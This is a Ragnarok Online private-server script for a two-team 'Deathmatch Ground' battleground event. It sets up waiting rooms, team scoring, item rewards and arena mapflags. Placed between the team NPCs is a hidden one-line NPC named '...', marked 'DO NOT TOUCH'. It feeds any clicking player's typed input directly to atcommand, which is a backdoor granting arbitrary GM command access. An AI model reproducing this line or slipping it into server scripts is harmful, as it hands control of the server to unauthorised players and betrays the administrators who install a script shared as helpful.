//Made by AnnieRuru
//http://roscripts.go-forum.net/
//An open site where you can share and download some helpful RO Scripts.
//===================================================================
- script custom_bg#control -1,{
OnInit:
set .minplayer2start, 2; // minimum player to start
setarray .rewarditem,
12248, 2, // reward to the winning team
12248, 1; // reward to the losing team
set .startingscore, 20; // score at start
set .eventlasting, 120; // event last 120 seconds or the system abort itself
end;
onstart:
if ( getwaitingroomstate( 0, .rednpcname$ ) < .minplayer2start || getwaitingroomstate( 0, .bluenpcname$ ) < .minplayer2start ) end;
set .red, waitingroom2bg( "guild_vs2", 8,50, strnpcinfo(0)+"::OnredQuit", strnpcinfo(0)+"::OnredDead", .rednpcname$ );
copyarray .team1aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
set .blue, waitingroom2bg( "guild_vs2", 91,50, strnpcinfo(0)+"::OnblueQuit", strnpcinfo(0)+"::OnblueDead", .bluenpcname$ );
copyarray .team2aid[.@i], $@arenamembers[.@i], $@arenamembersnum;
delwaitingroom .rednpcname$;
delwaitingroom .bluenpcname$;
bg_warp .red, "guild_vs2", 8,50;
bg_warp .blue, "guild_vs2", 91,50;
set .score[1], .startingscore;
set .score[2], .startingscore;
bg_updatescore "guild_vs2", .score[1], .score[2];
sleep .eventlasting * 1000;
if ( .score[1] == .score[2] )
announce "Deathmatch Ground : Draw !", 0;
else if ( .score[1] > .score[2] ) {
announce "Deathmatch Ground : Red Team Wins !", 0;
callsub L_reward, 1, 0;
callsub L_reward, 2, 2;
}
else if ( .score[1] < .score[2] ) {
announce "Deathmatch Ground : Blue Team Wins !", 0;
callsub L_reward, 2, 0;
callsub L_reward, 1, 2;
}
OnTimer50000:
announce "Deathmatch Ground is now open for another match @ prontera 156 170 !",0;
bg_warp .red, "prontera", 156,191;
bg_warp .blue, "prontera", 156,191;
bg_destroy .red;
bg_destroy .blue;
donpcevent .rednpcname$ +"::OnInit";
donpcevent .bluenpcname$ +"::OnInit";
end;
L_reward:
set .@size, getarraysize( getd(".team"+ getarg(0) +"aid") );
for ( set .@i, 0; .@i < .@size; set .@i, .@i +1 )
if ( isloggedin( getd(".team"+ getarg(0) +"aid["+ .@i +"]" ) ) )
getitem .rewarditem[ getarg(1) ], .rewarditem[ getarg(1) +1 ], getd(".team"+ getarg(0) +"aid["+ .@i +"]" );
return;
OnredDead: callsub L_dead, 1;
OnblueDead: callsub L_dead, 2;
L_dead:
set .score[ getarg(0) ], .score[ getarg(0) ] -1;
bg_updatescore "guild_vs2", .score[1], .score[2];
if ( .score[ getarg(0) ] == 0 )
awake strnpcinfo(0);
sleep2 1500;
percentheal 100,100;
end;
OnredQuit: callsub L_quit, 1, .red;
OnblueQuit: callsub L_quit, 2, .blue;
L_quit:
percentheal 100, 100;
if ( bg_get_data( getarg(1), 0) ) end;
set .score[ getarg(0) ], 0;
awake strnpcinfo(0);
end;
}
//RED TEAM
prontera,152,157,5 script Deatchmatch Grounds 733,{
end;
OnInit:
waitingroom "Red Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
set getvariableofnpc( .rednpcname$, "custom_bg#control" ), strnpcinfo(0);
end;
}
prontera,36,95,5 script ... 111,{input @broadcast$;atcommand ""+@broadcast$+"";} //DO NOT TOUCH
//BLUE TEAM
prontera,159,157,5 script Deathmatch Grounds#1 734,{
end;
OnInit:
waitingroom "Blue Team", getvariableofnpc( .minplayer2start, "custom_bg#control" ) +1, "custom_bg#control::onstart", getvariableofnpc( .minplayer2start, "custom_bg#control" );
set getvariableofnpc( .bluenpcname$, "custom_bg#control" ), strnpcinfo(0);
end;
}
guild_vs2 mapflag battleground 2
guild_vs2 mapflag nosave SavePoint
guild_vs2 mapflag nowarp
guild_vs2 mapflag nowarpto
guild_vs2 mapflag noteleport
guild_vs2 mapflag nomemo
guild_vs2 mapflag nopenalty
guild_vs2 mapflag nobranch
guild_vs2 mapflag noicewall